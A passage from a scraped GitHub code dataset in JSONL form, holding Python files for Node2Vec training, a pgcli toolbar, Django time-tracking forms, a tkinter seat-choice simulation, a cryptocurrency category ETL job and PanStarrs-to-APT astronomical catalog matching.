dh.BatchGenerator(ds_res['dataset'], 5, 5)\n\t# print(\"Actual batch size: {}\".format(train_batches.getResultantBatchSize()))\n\t# for i in range(5):\n\t# \tb = train_batches.next_batch()\n\t# \tprint(dh.batch2string(b['batch'],b['label']))\n\t# \tprint()\n\tres = createTrainingGraph(vocabulary_size, embedding_size, nce_sample_size)\n\t# res['log_directory'] = 'runs'\n\texecuteTrainingGraph(res, logdirs, train_dataset, batch_size, window_size, num_epochs, summary_frequency, num_checkpoints)\n\tprint(\"done\")\n","repo_name":"Abhishek8394/Node2Vec","sub_path":"embedding/embeddingLearner.py","file_name":"embeddingLearner.py","file_ext":"py","file_size_in_byte":8119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73029617013","text":"from pygments.token import Token\nfrom prompt_toolkit.enums import DEFAULT_BUFFER\nfrom prompt_toolkit.key_binding.vi_state import InputMode\n\ndef _get_vi_mode(cli):\n return {\n InputMode.INSERT: 'I',\n InputMode.NAVIGATION: 'N',\n InputMode.REPLACE: 'R',\n InputMode.INSERT_MULTIPLE: 'M',\n }[cli.vi_state.input_mode]\n\ndef create_toolbar_tokens_func(get_vi_mode_enabled, get_is_refreshing,\n failed_transaction, valid_transaction):\n \"\"\"\n Return a function that generates the toolbar tokens.\n \"\"\"\n assert callable(get_vi_mode_enabled)\n\n token = Token.Toolbar\n\n def get_toolbar_tokens(cli):\n result = []\n result.append((token, ' '))\n\n if cli.buffers[DEFAULT_BUFFER].completer.smart_completion:\n result.append((token.On, '[F2] Smart Completion: ON '))\n else:\n result.append((token.Off, '[F2] Smart Completion: OFF '))\n\n if cli.buffers[DEFAULT_BUFFER].always_multiline:\n result.append((token.On, '[F3] Multiline: ON '))\n else:\n result.append((token.Off, '[F3] Multiline: OFF '))\n\n if cli.buffers[DEFAULT_BUFFER].always_multiline:\n if cli.buffers[DEFAULT_BUFFER].multiline_mode == 'safe':\n result.append((token,' ([Esc] [Enter] to execute]) '))\n else:\n result.append((token,' (Semi-colon [;] will end the line) '))\n\n if get_vi_mode_enabled():\n result.append((token.On, '[F4] Vi-mode (' + _get_vi_mode(cli) + ')'))\n else:\n result.append((token.On, '[F4] Emacs-mode'))\n\n if failed_transaction():\n result.append((token.Transaction.Failed, ' Failed transaction'))\n\n if valid_transaction():\n result.append((token.Transaction.Valid, ' Transaction'))\n\n if get_is_refreshing():\n result.append((token, ' Refreshing completions...'))\n\n return result\n return get_toolbar_tokens\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/dbcli_pgcli/pgcli-master/pgcli/pgtoolbar.py","file_name":"pgtoolbar.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"17907072155","text":"#!/usr/bin/env python3\n# just code for testing\n\ncontent = {}\nformat = [\"title\",\"name\",\"date\",\"feedback\"]\n\nwith open('001.txt', 'r') as txtfile:\n counter = 0\n for line in txtfile:\n line = line.replace(\"\\n\", \"\")\n content[format[counter]] = line.strip('\\n')\n counter += 1\n print(counter, line)\n\nprint(lst)\nprint(content)\n","repo_name":"elmoallistair/google-it-automation","sub_path":"c6_automating-real-world-tasks-python/2_interacting-with-web-services/project/feedback/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":401,"dataset":"github-code","pt":"21"} +{"seq_id":"9157951981","text":"N=int(input())\nans=0\n\nfor i in range(1,N+1):\n\tif i>=100 : \n\t\ttemp=str(i)\n\t\ta=int(temp[0])\n\t\tb=int(temp[1])\n\t\tc=int(temp[2])\n\t\tif b-a == c-b :\n\t\t\tans+=1\n\telif i>=10 : \n\t\tans+=1 \n\telse : ans+=1\n\n\n\nprint(ans)\n","repo_name":"gitcheol/MyGit","sub_path":"Algorithms/python/1065.py","file_name":"1065.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28426354904","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\n# Настройка драйвера Chrome\ndriver = webdriver.Chrome(executable_path='/path/to/chromedriver')\n\n# Перейти в Google\ndriver.get(\"https://www.google.com\")\n\n# Найти элемент поисковой строки\nsearch_box = driver.find_element_by_name(\"q\")\n\n# Ввести поисковый запрос\nsearch_box.send_keys(\"Selenium automation testing\")\nsearch_box.send_keys(Keys.RETURN)\n\n# Дождаться загрузки результатов поиска\ntime.sleep(3)\n\n# Проверять результаты поиска\nassert \"Selenium automation testing\" in driver.title\n\n# Закрыть браузер\ndriver.quit()","repo_name":"MikhailShatov/test","sub_path":"Auto-test Python/Selenium Chrome Auto-test.py","file_name":"Selenium Chrome Auto-test.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17800566989","text":"from django import forms\nfrom pendulum.models import Project, Activity, Entry\nfrom pendulum.fields import PendulumDateTimeField\nfrom pendulum.widgets import PendulumDateTimeWidget\nfrom datetime import datetime\n\nclass ClockInForm(forms.Form):\n \"\"\"\n Allow users to clock in\n \"\"\"\n\n project = forms.ModelChoiceField(queryset=Project.objects.active())\n\nclass ClockOutForm(forms.Form):\n \"\"\"\n Allow users to clock out\n \"\"\"\n\n activity = forms.ModelChoiceField(queryset=Activity.objects.all(),\n required=False)\n comments = forms.CharField(widget=forms.Textarea,\n required=False)\n\nclass AddUpdateEntryForm(forms.ModelForm):\n \"\"\"\n This form will provide a way for users to add missed log entries and to\n update existing log entries.\n \"\"\"\n\n start_time = forms.DateTimeField(widget=PendulumDateTimeWidget)\n end_time = forms.DateTimeField(widget=PendulumDateTimeWidget)\n\n #start_time = PendulumDateTimeField()\n #end_time = PendulumDateTimeField()\n\n class Meta:\n model = Entry\n exclude = ('user', 'seconds_paused', 'pause_time', 'site')\n\n def clean_start_time(self):\n \"\"\"\n Make sure that the start time is always before the end time\n \"\"\"\n start = self.cleaned_data['start_time']\n\n try:\n end = self.cleaned_data['end_time']\n\n if start >= end:\n raise forms.ValidationError('The entry must start before it ends!')\n except KeyError:\n pass\n\n if start > datetime.now():\n raise forms.ValidationError('You cannot add entries in the future!')\n\n return start\n\n def clean_end_time(self):\n \"\"\"\n Make sure no one tries to add entries that end in the future\n \"\"\"\n try:\n start = self.cleaned_data['start_time']\n except KeyError:\n raise forms.ValidationError('Please enter a start time.')\n\n try:\n end = self.cleaned_data['end_time']\n if not end: raise Exception\n except:\n raise forms.ValidationError('Please enter an end time.')\n\n if end > datetime.now():\n raise forms.ValidationError('You cannot clock out in the future!')\n\n if start >= end:\n raise forms.ValidationError('The entry must start before it ends!')\n\n return end\n\n #def clean(self):\n # print self.cleaned_data\n","repo_name":"codekoala/django-pendulum","sub_path":"pendulum/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"3727928740","text":"class Solution:\n def lengthOfLongestSubstring(self, s: str) -> int:\n sets = set()\n max_length = 0\n start = 0\n for end in range(len(s)): \n while s[end] in sets:\n sets.remove(s[start])\n start += 1\n\n sets.add(s[end])\n max_length = max(max_length , (end - start) + 1)\n\n return max_length\n","repo_name":"zerabruck/Competitive-programming","sub_path":"A2sv/longest_sub_string_with_out_repeating_characters.py","file_name":"longest_sub_string_with_out_repeating_characters.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72546546614","text":"from dataclasses import dataclass\r\nfrom tkinter import Tk, Canvas\r\nimport random\r\n\r\ntk = Tk()\r\ncanvas = Canvas(tk, width=1000, height=1000, bg=\"white\")\r\ncanvas.pack()\r\n\r\ntick = 2 # フレームレート\r\n\r\n\r\n# 座席のクラス\r\n@dataclass\r\nclass Chair:\r\n id: int\r\n x1: int\r\n y1: int\r\n x2: int\r\n y2: int\r\n state: str\r\n value: int\r\n passion: int\r\n FB : int\r\n near: int\r\n yobi : int\r\n\r\n\r\nchairs = [\r\n Chair(1, 200, 300, 300, 400, \"free\",100 ,0,0,0,0),Chair(2, 300, 300, 400, 400, \"free\",80 ,0,0,0,0),\r\n Chair(3, 400, 300, 500, 400, \"free\",80 ,0,0,0,0),Chair(4, 500, 300, 600, 400, \"free\",80 ,0,0,0,0),\r\n Chair(5, 600, 300, 700, 400, \"free\",80 ,0,0,0,0),Chair(6, 700, 300, 800, 400, \"free\",95 ,0,0,0,0),\r\n Chair(7, 200, 500, 300, 600, \"free\",110 ,0,0,0,0),Chair(8, 300, 500, 400, 600, \"free\",85 ,0,0,0,0),\r\n Chair(9, 400, 500, 500, 600, \"free\",85 ,0,0,0,0),Chair(10, 500, 500, 600, 600, \"free\",85 ,0,0,0,0),\r\n Chair(11, 600, 500, 700, 600, \"free\",85 ,0,0,0,0), Chair(12, 700, 500, 800, 600, \"free\",105 ,0,0,0,0),\r\n Chair(13, 200, 700, 300, 800, \"free\",120 ,0,0,0,0),Chair(14, 300, 700, 400, 800, \"free\",90 ,0,0,0,0),\r\n Chair(15, 400, 700, 500, 800, \"free\",90 ,0,0,0,0),Chair(16, 500, 700, 600, 800, \"free\",90 ,0,0,0,0),\r\n Chair(17, 500, 700, 700, 800, \"free\",90 ,0,0,0,0),Chair(18, 700, 700, 800, 800, \"free\",115 ,0,0,0,0),\r\n]\r\n\r\n\r\n# 座席の配置\r\ndef chair():\r\n for chair in chairs:\r\n if chair.state==\"free\" or chair.state==\"search\" or chair.state==\"sleep\":\r\n canvas.create_rectangle(chair.x1, chair.y1, chair.x2, chair.y2)\r\n elif chair.state==\"dirty\":\r\n canvas.create_rectangle(chair.x1, chair.y1, chair.x2, chair.y2 ,outline=\"saddle brown\")\r\n\r\ndef view():\r\n canvas.create_rectangle(400,100,600,200)\r\n canvas.create_text(25,40,text='入口',font=(\"Helvetica\", 18, \"bold\"))\r\n canvas.create_line(50,40,120,40,fill=\"black\",width=3)\r\n\r\n# 人のクラス\r\n@dataclass\r\nclass Person:\r\n id: int\r\n x3: int\r\n y3: int\r\n x4: int\r\n y4: int\r\n dx: int\r\n dy: int\r\n state: str\r\n passion: int\r\n\r\n\r\npeople = []\r\n\r\n# キャンバスの掃除(処理落ち対策)\r\ndef delete():\r\n canvas.delete(\"all\")\r\n \r\n#座席の上を歩かない\r\ndef move4():\r\n for person in people:\r\n if person.state == \"off\" and person.passion==1:\r\n canvas.create_oval(person.x3, person.y3, person.x4, person.y4, fill=\"red\")\r\n continue\r\n elif person.state == \"off\" and person.passion==-1:\r\n canvas.create_oval(person.x3, person.y3, person.x4, person.y4, fill=\"blue\")\r\n continue\r\n elif person.state == \"off\" and person.passion==2:\r\n canvas.create_oval(person.x3, person.y3, person.x4, person.y4, fill=\"yellow\")\r\n continue\r\n\r\n for chair in chairs:\r\n if chair.state == \"search\":\r\n if person.state == \"on\":\r\n # 円を次の位置に\r\n person.y3 = person.y3 + person.dy\r\n person.y4 = person.y4 + person.dy\r\n canvas.create_oval(person.x3, person.y3, person.x4, person.y4, fill=\"white\")\r\n\r\n if(person.y3==chair.y2+10):\r\n person.dy = 0\r\n if(person.dy==0):\r\n person.x3 = person.x3 + person.dx\r\n person.x4 = person.x4 + person.dx\r\n if(person.x4==chair.x2-15):\r\n person.dx = 0\r\n person.dy = -1\r\n person.y3 = person.y3 + person.dy\r\n person.y4 = person.y4 + person.dy\r\n \r\n\r\n if (person.dx==0 and person.y4==chair.y2-15) and (chair.state== \"search\" or chair.state==\"dirty\"):\r\n chair.state = \"sleep\"\r\n person.state = \"off\"\r\n break\r\n\r\nfirst_trigger=0\r\npeople_counter=0\r\n\r\ndef first_person():\r\n global first_trigger\r\n if first_trigger==0:\r\n num=random.random()*10\r\n if num<=9.5 and num>6.1:\r\n people.append(Person(1,50,50,120,120,1,1,\"on\",2))\r\n else:\r\n people.append(Person(1,50,50,120,120,1,1,\"on\",1))\r\n\r\n first_trigger=1\r\n#人が位置についたら新しい人を加える\r\n#??%の確率で人の隣を好む人が現れる\r\n\r\ndef add4():\r\n if first_trigger==1:\r\n c=0\r\n global people_counter\r\n num=random.random()*10\r\n for s in people:\r\n c=c+1\r\n \r\n if people[c-1].state== \"off\" and c<18:\r\n if people_counter>=3 and num>9.5:\r\n people.append(Person(c+1, 50, 50, 120, 120, 1, 1, \"on\",-1))\r\n elif num<=9.5 and num>=6.1:\r\n people.append(Person(c+1, 50, 50, 120, 120, 1, 1, \"on\",2))\r\n else:\r\n people.append(Person(c+1, 50, 50, 120, 120, 1, 1, \"on\",1))\r\n \r\n people_counter=people_counter+1 \r\n#椅子を���ばせる(valueが高い席に向かう)\r\n \r\n\r\ndef choice7():\r\n count1=0\r\n t=0\r\n s1=0\r\n s2=0\r\n s3=0\r\n for a in chairs:\r\n if a.state==\"free\" or a.state==\"sleep\" or a.state==\"dirty\":\r\n t=t+1\r\n #print(t) \r\n for b in people:\r\n if b.state==\"on\" and b.passion==1 and t==18: \r\n for c in chairs:\r\n if c.state==\"free\":\r\n count1=c.value\r\n\r\n for cc in chairs:\r\n if cc.state==\"free\" and count1 < cc.value:\r\n count1=cc.value\r\n \r\n for d in chairs:\r\n if d.value==count1 and d.state==\"free\":\r\n s1=s1+1\r\n \r\n if s1==1:\r\n for dd in chairs:\r\n if dd.value==count1 and dd.state==\"free\":\r\n dd.state=\"search\"\r\n\r\n\r\n elif s1>1:\r\n list1=[]\r\n for ddd in chairs:\r\n if ddd.state==\"free\" and ddd.value==count1:\r\n list1.append(ddd.id)\r\n\r\n pick1=random.choice(list1)\r\n for dddd in chairs:\r\n if dddd.id==pick1:\r\n dddd.state=\"search\"\r\n \r\n \r\n elif b.state==\"on\" and b.passion==-1 and t==18: \r\n for e in chairs:\r\n if e.state==\"free\":\r\n count1=e.value\r\n\r\n for ee in chairs:\r\n if ee.state==\"free\" and count1 > ee.value:\r\n count1=ee.value\r\n \r\n for f in chairs:\r\n if f.value==count1 and f.state==\"free\":\r\n s2=s2+1\r\n\r\n if s2==1:\r\n for ff in chairs:\r\n if ff.state==\"free\" and ff.value==count1:\r\n ff.state=\"search\"\r\n\r\n elif s2>1:\r\n list2=[]\r\n for fff in chairs:\r\n if fff.state==\"free\" and fff.value==count1:\r\n list2.append(fff.id)\r\n\r\n pick2=random.choice(list2)\r\n for ffff in chairs:\r\n if ffff.id==pick2:\r\n ffff.state=\"search\"\r\n\r\n elif b.state==\"on\" and b.passion==2 and t==18:\r\n T=0\r\n list3=[]\r\n TT=0\r\n list5=[]\r\n for g in chairs:\r\n if g.id<=6 and g.id>=1 and g.state==\"free\":\r\n T=T+1\r\n if T>0:\r\n for gg in chairs:\r\n if gg.id<=6 and gg.id>=1 and gg.state==\"free\":\r\n list3.append(gg)\r\n for ggg in list3:\r\n N=ggg.value\r\n for gggg in list3:\r\n if gggg.value>N:\r\n N=gggg.value\r\n for ggggg in list3:\r\n if ggggg.value==N:\r\n ggggg.state=\"search\"\r\n break\r\n\r\n elif T==0:\r\n for G in chairs:\r\n if G.id<=12 and G.id>=7 and G.state==\"free\":\r\n TT=TT+1\r\n if TT>0:\r\n for GG in chairs:\r\n if GG.id<=12 and GG.id>=7 and GG.state==\"free\":\r\n list5.append(GG)\r\n for GGG in list5:\r\n M=GGG.value\r\n for GGGG in list5:\r\n if GGGG.value>M:\r\n M=GGGG.value\r\n for GGGGG in list5:\r\n if GGGGG.value==M:\r\n GGGGG.state=\"search\"\r\n break\r\n\r\n elif TT==0: \r\n for h in chairs:\r\n if h.state==\"free\":\r\n count1=h.value\r\n\r\n for hh in chairs:\r\n if hh.state==\"free\" and count1 < hh.value:\r\n count1=hh.value\r\n \r\n for i in chairs:\r\n if i.value==count1 and i.state==\"free\":\r\n s3=s3+1\r\n \r\n if s3==1:\r\n for ii in chairs:\r\n if ii.value==count1 and ii.state==\"free\":\r\n ii.state=\"search\"\r\n\r\n\r\n elif s3>1:\r\n list4=[]\r\n for iii in chairs:\r\n if iii.state==\"free\" and iii.value==count1:\r\n list4.append(iii.id)\r\n\r\n pick4=random.choice(list4)\r\n for iiii in chairs:\r\n if iiii.id==pick4:\r\n iiii.state=\"search\"\r\n \r\n\r\n\r\n#隣に人が来たら座席の価値が下がる \r\ndef effect1():\r\n for a in chairs:\r\n if a.state==\"sleep\" and a.near==0:\r\n if (a.id>=2 and a.id<=5) or (a.id>=8 and a.id<=11) or (a.id>=14 and a.id<=17):\r\n t=a.id\r\n for b in chairs:\r\n if b.id==t-1 or b.id==t+1:\r\n b.value=b.value-50\r\n\r\n elif a.id==1 or a.id==7 or a.id==13:\r\n v=a.id\r\n for d in chairs:\r\n if d.id==v+1:\r\n d.value=d.value-50\r\n\r\n elif a.id==6 or a.id==12 or a.id==18:\r\n w=a.id\r\n for e in chairs:\r\n if e.id==w-1:\r\n e.value=e.value-50\r\n\r\n a.near=1\r\n\r\n#前後に人がいた場合は座席の価値が下がる\r\ndef effect2():\r\n for a in chairs:\r\n if a.state==\"sleep\" and a.FB==0 and (a.id>=2 and a.id<=5):\r\n for b in chairs:\r\n if b.id==a.id + 6:\r\n b.value=b.value - 30\r\n a.FB=1\r\n \r\n \r\n elif a.state==\"sleep\" and a.FB==0 and (a.id>=8 and a.id<=11):\r\n for c in chairs:\r\n if c.id==a.id + 6:\r\n c.value=c.value - 30\r\n \r\n elif c.id==a.id - 6:\r\n c.value=c.value - 20\r\n a.FB=1\r\n\r\n elif a.state==\"sleep\" and a.FB==0 and (a.id>=14 and a.id<=17):\r\n for d in chairs:\r\n if d.id==a.id - 6:\r\n d.value=d.value - 20\r\n a.FB=1\r\n\r\nnum=random.randint(1,100)\r\ndef dirty():\r\n global num\r\n for a in chairs:\r\n if a.id==num:\r\n a.state=\"dirty\"\r\ndef sit():\r\n t=0\r\n for a in chairs:\r\n if a.state==\"sleep\":\r\n t=t+1\r\n for b in chairs:\r\n if t==17 and b.state==\"dirty\":\r\n b.state=\"search\"\r\n\r\n#着席の記録\r\nL=[]\r\ndef Reporter(x):\r\n for a in chairs:\r\n if a.state==\"sleep\" and a.passion==0:\r\n x.append(a.id)\r\n a.passion=1\r\n\r\npath_w='report2.txt'\r\nwrite_trigger=0\r\n\r\n#ファイルに書き込み\r\ndef Writer(x):\r\n global write_trigger\r\n if len(x)==18 and write_trigger==0:\r\n L_str=[str(i) for i in L]\r\n with open(path_w,mode='a') as f:\r\n f.writelines('/'.join(L_str))\r\n f.write('\\n')\r\n #f.writelines(L_str)\r\n write_trigger=1\r\n\r\n\r\n\r\n\r\ndef main():\r\n dirty()\r\n delete()\r\n chair()\r\n view()\r\n sit()\r\n first_person()\r\n move4()\r\n add4()\r\n effect1()\r\n effect2()\r\n choice7()\r\n Reporter(L)\r\n Writer(L)\r\n tk.after(tick, main)\r\n\r\n#実行\r\ntk.after(tick, main)\r\ntk.mainloop()\r\n","repo_name":"baribari-somewhere/test1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17352915931","text":"import exceptions\nimport pandas as pd\n\n\nclass DataContainer(object):\n\n # Types for data. Key is original data type, and value is the new type\n # resulting from a merge_into_left when left data has type key\n mergeTypes = {\n 'NTP_dag' : 'NTP_dag_merged',\n 'NTP_rad' : 'RAD_merged',\n 'UDP_dag' : '',\n 'UDP_sniff' : 'UDP_merged',\n 'NTP_sniff_snd' : 'NTP_rad',\n 'NTP_sniff_rcv' : '',\n 'NTP_dag_merged' : '',\n 'RAD_merged' : '',\n 'UDP_merged' : '',\n 'radclock' : ''\n }\n\n\n def __init__(self, mtype=None):\n \"\"\"\n Generic class to open stamp data files. Main purpose of the constructor is\n to extract header and data from files created by radclock, dag_extract or\n udp_probes_sniffer.\n \"\"\"\n self.data = pd.DataFrame()\n self.fields = list()\n\n # Set data type\n if mtype not in DataContainer.mergeTypes and mtype is not None:\n raise exceptions.TypeError\n else:\n self.mtype = mtype\n\n\n\nclass DataRadclock(DataContainer):\n\n def raw_rtt(self):\n df = self.data\n s = df.RTT\n s.name = 'raw_rtt'\n return s\n\n def rtt(self):\n df = self.data\n s = df.RTT * df.phat\n s.name = 'rtt'\n return s\n\n def rtt_host(self):\n df = self.data\n s = df.RTT * df.phat - (df.DAG_RX - df.DAG_TX)\n s.name = 'rtt_host'\n return s\n\n def server_delay(self):\n df = self.data\n s = df.Te - df.Tb\n s.name = 'server_delay'\n return s\n\n","repo_name":"synclab/radclock-plots","sub_path":"munger/container.py","file_name":"container.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"36880952097","text":"import pandas as pd\nimport psycopg2\n\nimport sys\nsys.path.append('src/')\nfrom src.category_crypto.sql_queries import crypto_category, crypto_category_insert\nfrom src.db_credentials import retrieve_credentials, retrieve_cmc_api_credentials\n\nfrom requests.exceptions import ConnectionError, Timeout, TooManyRedirects\nfrom requests import Session\nimport json\n\n# Input Parameters\nurl = 'https://pro-api.coinmarketcap.com/v1/cryptocurrency/categories'\ncredential_file_path = 'src/config.ini'\ncmc_api = retrieve_cmc_api_credentials(credential_file=credential_file_path)\n\ndef create_table(create_table_script,cur,conn):\n cur.execute(create_table_script)\n conn.commit()\n\ndef get_category_data(url):\n \"\"\"\"\n Desc:\n - Gets the data for crypto category \n Args:\n - Input the API URL \n Returns\n - The crypto_category dataframe \n \"\"\"\n\n url = url\n headers = {\n 'Accepts': 'application/json',\n 'X-CMC_PRO_API_KEY': cmc_api,\n }\n\n session = Session()\n session.headers.update(headers)\n\n try:\n response = session.get(url) #, params=parameters\n data = json.loads(response.text)\n #print(data)\n category_data_raw = [(x['id'], x['name'], x['market_cap'], x['num_tokens'], x['volume'], x['last_updated']) for x in data['data']]\n df_full_categories = pd.DataFrame(category_data_raw, columns = ['id', 'category', 'market_cap', 'num_tokens', 'volume', 'last_updated'])\n #df_full_categories.to_csv(\"cmc_category_list.csv\", index = False)\n return df_full_categories\n except (ConnectionError, Timeout, TooManyRedirects) as e:\n print(e)\n \n\ndef insert_category_data(cur, conn):\n \"\"\" \n Desc:\n - Inserts the ingested data and inserts into a SQL database\n Args:\n - The global crypto json taken from get_raw_total_market_cap(). \n - The cursor and connection for Postgres\n \"\"\"\n df = get_category_data(url)\n data_list = list(df[['id',\n 'category',\n 'market_cap', \n 'num_tokens',\n 'volume',\n 'last_updated']].values)\n \n for data_row in data_list:\n cur.execute(crypto_category_insert, data_row)\n conn.commit()\n\ndef category_crypto_main():\n \"\"\"\n Desc:\n Establishes a database connection, processes song and log data, then\n closes the cursor and database connection.\n \"\"\"\n host, db, user, password = retrieve_credentials(credential_file=credential_file_path)\n conn = psycopg2.connect(f\"host={host} dbname={db} user={user} password={password}\")\n cur = conn.cursor()\n\n create_table(crypto_category,cur,conn)\n\n insert_category_data(cur, conn)\n print('Crypto categorical data inserted')\n conn.close()\n","repo_name":"DeepLapis/crypto-dashboard","sub_path":"src/category_crypto/etl_category_data.py","file_name":"etl_category_data.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"21"} +{"seq_id":"73374446454","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 5 04:38:37 2019\n\n@author: altsai\n\"\"\"\n\nimport os\nimport sys\nimport numpy as np\nimport csv\nimport pandas as pd\nfrom astropy import units as u\nfrom astropy.coordinates import SkyCoord\nfrom astropy.coordinates import match_coordinates_sky\nfrom astropy.table import Table\n\n#n_ps=100\n\n\nprint('-------------------------------------')\n\nprint('... convert PanStarrs catalog magnitude to Rmag ...')\n\nfile_in_ps=input('Which PanStarrs target catalog you will use? (ex: PS-3c345.csv) ')\ndf_ps=pd.read_csv(file_in_ps,delimiter=',')\nra_ps=df_ps['raMean']\ndec_ps=df_ps['decMean']\n#gmag=df_ps['gMeanPSFMag']\n#rmag=df_ps['rMeanPSFMag']\n#imag=df_ps['iMeanPSFMag']\n#zmag=df_ps['zMeanPSFMag']\n#y=df['yMeanPSFMag']\nn_ps=len(df_ps['gMeanPSFMag'])\nprint('... PS-xxx.csv has',n_ps,'rows ...')\ninput('Press Enter to continue...')\n\nidx_ps=np.arange(0,n_ps,1)\n\n\n\n\n\n'''\n# http://www.sdss3.org/dr8/algorithms/sdssUBVRITransform.php\nugriz -> BVRI\nLupton (2005)\nThese equations that Robert Lupton derived by matching DR4 photometry to Peter Stetson's published photometry for stars.\nStars\n\n B = u - 0.8116*(u - g) + 0.1313; sigma = 0.0095\n B = g + 0.3130*(g - r) + 0.2271; sigma = 0.0107\n\n V = g - 0.2906*(u - g) + 0.0885; sigma = 0.0129\n V = g - 0.5784*(g - r) - 0.0038; sigma = 0.0054\n\n R = r - 0.1837*(g - r) - 0.0971; sigma = 0.0106\n R = r - 0.2936*(r - i) - 0.1439; sigma = 0.0072\n\n I = r - 1.2444*(r - i) - 0.3820; sigma = 0.0078\n I = i - 0.3780*(i - z) -0.3974; sigma = 0.0063\n'''\n\nRmag=['-999.0']*n_ps\n\nk=0\nR=-999.0\nthreshold=16.0\nfor j in range(n_ps):\n r=df_ps['rMeanPSFMag'][j]\n g=df_ps['gMeanPSFMag'][j]\n i=df_ps['iMeanPSFMag'][j]\n n=df_ps['nStackDetections'][j]\n if -999.0 -999.0]\nra_ps_bright=df_ps_bright['raMean'] #.reset_index(drop=True)\ndec_ps_bright=df_ps_bright['decMean'] #.reset_index(drop=True)\nRmag_ps_bright=df_ps_bright['Rmag'] #.reset_index(drop=True)\n\nn_ps_bright=len(df_ps_bright)\n#df_ps_bright_sort=df_ps_bright.sort_values(by='Rmag',ascending=True)\n#df_ps3=df_ps_bright_sort[['raMean','decMean','Rmag']]\n#df_ps3=df_ps3.rename(columns={'raMean':'ra','decMean':'dec','Rmag':'Apparent Magnitude'})\n\n#file_out_ps='APT_simplePhotCalib_radec_mag_sdss2Rmag.txt'\n#df_ps3.to_csv(file_out_ps,sep='\\t',index=False,header=False)\n\n\n\ncoord_ps_bright=SkyCoord(ra=ra_ps_bright*u.degree,dec=dec_ps_bright*u.degree)\n\n#idx_ps,d2d,d3d=coord_apt.match_to_catalog_sky(coord_ps)\n\n\n\n\n\n\n#sys.exit(0)\n\nprint('-------------------------------------')\n\n\n\n#file_in_apt='/home/altsai/.AperturePhotometryTool/APT.tbl'\nprint('... instrument mag from APT.tbl ...')\nfile_in_apt='APT.tbl'\ndf_apt=pd.read_csv(file_in_apt,delim_whitespace=True,skiprows=2)[:-1]\n#df_apt=df_apt.convert_objects(convert_numeric=Tru\nra_apt=df_apt['ApertureRA'].astype(float)\ndec_apt=df_apt['ApertureDec'].astype(float)\nmag_apt=df_apt['Magnitude'].astype(float)\nn_apt=len(mag_apt)\nprint('... APT.tbl has',n_apt,'rows ...')\ninput('Press Enter to continue...')\n\ncoord_apt=SkyCoord(ra=ra_apt*u.degree,dec=dec_apt*u.degree)\n\n#df_apt2=df_apt.sort_values(by='Magnitude',ascending=True) #.head(k)\n#print('number of rows:',len(df_apt2))\n#df_apt3=df_apt2[['ApertureRA','ApertureDec','Magnitude']]\n#df_apt3=df_apt3.rename(columns={'ApertureRA':'RA','ApertureDec':'Dec','Magnitude':'Instrument Magnitude'})\n\n#file_out_apt='APT_simplePhotCalib_radec_mag_instrument.txt'\n#df2.to_csv(file_out,sep='\\t',index=False,header=True)\n#df_apt3.to_csv(file_out_apt,sep='\\t',index=False,header=False)\n\n\n\n#idx_ps,sep,d1=coord_apt.match_to_catalog_3d(coord_ps_bright)\n#matches=coord_ps[idx_ps]\n\n#idx_ps,sep,d1=match_coordinates_sky(coord_apt,coord_ps_bright)\n#idx_ps,sep,d1=match_coordinates_sky(coord_apt.frame,coord_ps.frame)\nprint('-------------------------------------')\nprint('... match two catalogs of RA Dec ...')\n\nmax_sep=1.0*u.arcsec\n#idx_ps,sep,d1=match_coordinates_sky(coord_apt,coord_ps)\nidx_apt,sepa,d1=coord_ps_bright.match_to_catalog_3d(coord_apt)\nsep_constraint=sepa < max_sep\n\n\n#print(sep_constraint)\nn_match=sum(sep_constraint)\nprint('... found',n_match,'sources match')\nidx_apt_match=idx_apt[sep_constraint]\n#print(idx_apt_match)\ncoord_apt_match=coord_apt[idx_apt_match]\n#print(idx_apt_match)\n#print(len(idx_apt_match))\nidx_ps_bright_match=np.arange(0,n_ps_bright,1)[sep_constraint]\n#print(idx_ps_bright_match)\ncoord_ps_bright_match=coord_ps_bright[sep_constraint]\n# or coord_ps_bright_match=coord_ps_bright[idx_ps_bright_match]\n\n\n\n\ninput('Press Enter to continue...')\n\n\n\nra_ps_match=coord_ps_bright_match.ra.deg\ndec_ps_match=coord_ps_bright_match.dec.deg\n#Rmag_ps_match=Rmag_ps_bright[idx_apt[sep_constraint]].tolist()\nRmag_ps_match=Rmag_ps_bright.reset_index(drop=True)[idx_ps_bright_match].tolist()\n\n#sys.exit(0)\n\nra_apt_match=coord_apt_match.ra.deg\ndec_apt_match=coord_apt_match.dec.deg\nmag_apt_match=mag_apt[idx_apt_match].tolist()\n#table_ps_match=Table([ra_ps_match,dec_ps_match],names=('ra','dec'))\n#table_apt_match=Table([ra_apt_match,dec_apt_match],names=('ra','dec'))\n#df_ps_from_array=pd.DataFrame.from_records(table_ps_match.as_array())\n#df_ps_from_table_method=table_ps_match..to_pandas()\n\n\n#sys.exit(0)\n\n\n\n\nfile_out_ps='APT_match_PS_radec_mag_sdss2Rmag.txt'\nif 